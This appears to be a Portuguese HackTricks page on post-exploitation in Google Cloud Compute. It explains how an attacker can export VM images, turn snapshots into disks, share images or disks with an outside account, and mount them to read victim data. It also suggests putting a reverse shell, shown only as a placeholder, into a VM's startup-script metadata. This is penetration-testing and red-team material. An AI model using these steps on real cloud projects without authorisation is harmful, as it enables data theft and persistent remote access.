GCP - Computação Pós Exploração
Reading time: 5 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Computação
Para mais informações sobre Computação e VPC (Rede) consulte:
Exportar e Inspecionar Imagens localmente
Isso permitiria que um atacante acessasse os dados contidos dentro de imagens já existentes ou criasse novas imagens de VMs em execução e acessasse seus dados sem ter acesso à VM em execução.
É possível exportar uma imagem de VM para um bucket e depois baixá-la e montá-la localmente com o comando:
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally
Para realizar esta ação, o atacante pode precisar de privilégios sobre o bucket de armazenamento e, com certeza, privilégios sobre o cloudbuild, pois é o serviço que será solicitado a realizar a exportação.
Além disso, para que isso funcione, o SA do codebuild e o SA do compute precisam de permissões privilegiadas.
O SA do cloudbuild <project-id>@cloudbuild.gserviceaccount.com
precisa de:
- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
- roles/iam.serviceAccountUser
E o SA <project-id>-compute@developer.gserviceaccount.com
precisa de:
- roles/compute.storageAdmin
- roles/storage.objectAdmin
Exportar e Inspecionar Snapshots e Discos localmente
Não é possível exportar snapshots e discos diretamente, mas é possível transformar um snapshot em um disco, um disco em uma imagem e, seguindo a seção anterior, exportar essa imagem para inspecioná-la localmente.
# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]
# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]
Inspecionar uma Imagem criando uma VM
Com o objetivo de acessar os dados armazenados em uma imagem ou dentro de uma VM em execução de onde um atacante criou uma imagem, é possível conceder a um conta externa acesso à imagem:
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
e então crie uma nova VM a partir disso:
gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]
Se você não puder conceder acesso à sua conta externa sobre a imagem, poderá iniciar uma VM usando essa imagem no projeto da vítima e fazer a metadata executar um reverse shell para acessar a imagem adicionando o parâmetro:
--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'
Inspecionar um Snapshot/Disk anexando-o a uma VM
Com o objetivo de acessar os dados armazenados em um disco ou um snapshot, você poderia transformar o snapshot em um disco, um disco em uma imagem e seguir os passos anteriores.
Ou você poderia conceder acesso a uma conta externa sobre o disco (se o ponto de partida for um snapshot, conceda acesso sobre o snapshot ou crie um disco a partir dele):
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'
Anexar o disco a uma instância:
gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]
Monte o disco dentro da VM:
- SSH na VM:
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
- Identifique o Disco: Uma vez dentro da VM, identifique o novo disco listando os dispositivos de disco. Normalmente, você pode encontrá-lo como
/dev/sdb
,/dev/sdc
, etc. - Formate e Monte o Disco (se for um disco novo ou bruto):
- Crie um ponto de montagem:
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
- Monte o disco:
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
Se você não puder dar acesso a um projeto externo para o snapshot ou disco, pode ser necessário realizar essas ações dentro de uma instância no mesmo projeto que o snapshot/disco.
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.